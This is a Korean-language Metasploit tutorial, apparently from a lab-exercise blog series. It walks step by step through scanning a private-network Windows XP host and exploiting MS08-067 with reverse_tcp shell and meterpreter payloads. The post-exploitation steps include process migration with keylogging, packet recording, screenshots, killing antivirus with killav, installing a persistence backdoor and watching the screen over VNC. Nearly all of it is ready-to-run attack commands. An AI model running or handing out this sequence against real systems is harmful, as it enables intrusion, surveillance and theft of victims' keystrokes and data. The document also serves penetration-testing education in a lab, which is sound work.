Metasploit - 03. 메타스플로잇 사용법 (Exploit Tools)

Exploit Tools (취약점 발견 → 공격 실시)

1. db_nmap 스캔

• -sS     : TCP Half Open Scan

• -p      : Port Number

 msf > db_nmap -sS -p 1-500 192.168.3.230

• -sS     : TCP Half Open Scan

• -Pn    : Treat all hosts as online - skip host discovery

• -A      : Enable OS detection, version detection, script scanning, and traceroute

• -p      : Port Number

 msf > db_nmap -sS -Pn -A -p 1-500 192.168.3.230

• -sS     : TCP Half Open Scan

• -Pn    : Treat all hosts as online - skip host discovery

• -p      : Port Number

• --script=    : Script Scan

msf > db_smap -sS -Pn -p 1-500 --script=smb-vuln-ms08-067.nse 192.168.3.104

2. Payload 공격 모듈 (windows/shell/reverse_tcp)

공격모듈 다운받는 곳 

➤ www.exploit-db.com

msf > search ms08-067

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi)> show options

* exploit 모듈은 payload 모듈을 장착하여 사용한다.

* exploit target은 프로그램 또는 운영체제 버전으로 구성되며, 공격자가 선택

   nmap, db_nmap 등으로 알아내면 된다.

msf exploit(ms08_067_netapi)> show payloads        (장착 가능한 payload 검색)

msf exploit(ms08_067_netapi) > set payload windows/shell/reverse_tcp

* reverse 가 붙은 것을 추천

msf exploit(ms08_067_netapi) > show options

msf exploit(ms08_067_netapi) > show targets    (프로그램, 운영체제 정보 출력 - 번호 출력)

msf exploit(ms08_067_netapi) > set 으로 옵션 설정

* RHOST : 피해자 시스템 주소

* LHOST : 공격자 시스템 주소

* TARGET : 피해자 프로그램, 운영체제 선택 (해당하는 버전이 있어야만 공격이 가능!)

msf exploit(ms08_067_netapi) > show options

msf exploit(ms08_067_netapi) > exploit

C:\WINDOWS\system32>ipconfig

C:\WINDOWS\system32>  Ctrl + C (나오기)

모듈 차이점!

shell - 다이렉트로 로그인 후 직접적인 명령으로 쓰겠다.

meterpreter - 중간단계에서 거점을 만들어두고 상황을 보겠다. 

3. Payload 공격 모듈 (windows/meterpreter/reverse_tcp)

msf exploit(ms08_067_netapi)> show options

msf exploit(ms08_067_netapi)> unset PAYLOAD

msf exploit(ms08_067_netapi)> show options

msf exploit(ms08_067_netapi)> show payloads

msf exploit(ms08_067_netapi)> set payload windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi)> show options

msf exploit(ms08_067_netapi)> exploit

* 피해 시스템으로 로그인

meterpreter > shell

* 피해자 시스템의 network 정보 

C:\WINDOWS\system32>ipconfig

• meterpreter 도움말 보기

meterpreter > help

• 패해자 시스템 정보 확인 및 프로세스 확인

meterpreter > sysinfo

meterpreter > ps

• 피해 시스템 화면 정보 스크린샷 (Kali Linux 탐색기 → 홈 디렉토리 → 확인)

meterpreter > screenshot

• 타겟 시스템 키-로그 (WindowsXP에서 메모장 실행)

meterpreter > ps  

meterpreter > migrate 1680       (Compromise Process)

meterpreter > run post/windows/capture/keylog_recorder    (키로거 기능 활성화)

[Windows XP] 메모장에서 아무거나 입력

[Kali Linux] 종료를 원할 경우 Ctrl + C

터미널 새로 열고

# ls -la /root/.msf5/loot

# cat /root/.msf5/loot/20170106155125_default_192.168.3.104_host.windows.key_605263.txt

• 피해자 시스템 통신을 일정시간 동안 녹화 or 녹음 (와이어샤크로 분석)

meterpreter> run packetrecorder -i 1 (패킷 도청하기 -i 카드번호)

/root/.msf4/logs/scripts/packetrecorder/XP_20170106.5154/XP_20170106.5154.cap

• 피해자 시스템 Anti Virus 무력화

    killav 스크립트 파일 내에 미리 지정해둔 프로세스 배열목록에 있는 프로세스명과 일치하는 실행 중인 프로세스가 있으면 종료시킨다.

    알약이나 네이버백신은 종료되지 않음.

meterpreter> run killav

• 피해자 시스템 백도어 설정

    공격시스템 재부팅 후에도 메터프리터 수행되게 persistence를 사용한다.

meterpreter > run persistence -X -i 30 -p <피해자port> -r <피해자ip주소>

• 가상머신여부 확인

    타겟시스템이 가상머신인지 확인한다.

meterpreter > run checkvm

• 공격시스템의 모니터 화면 실시간 엿보기

    VNC를 이용하여 타겟시스템의 작업현황을 볼 수 있다.

meterpreter > run vnc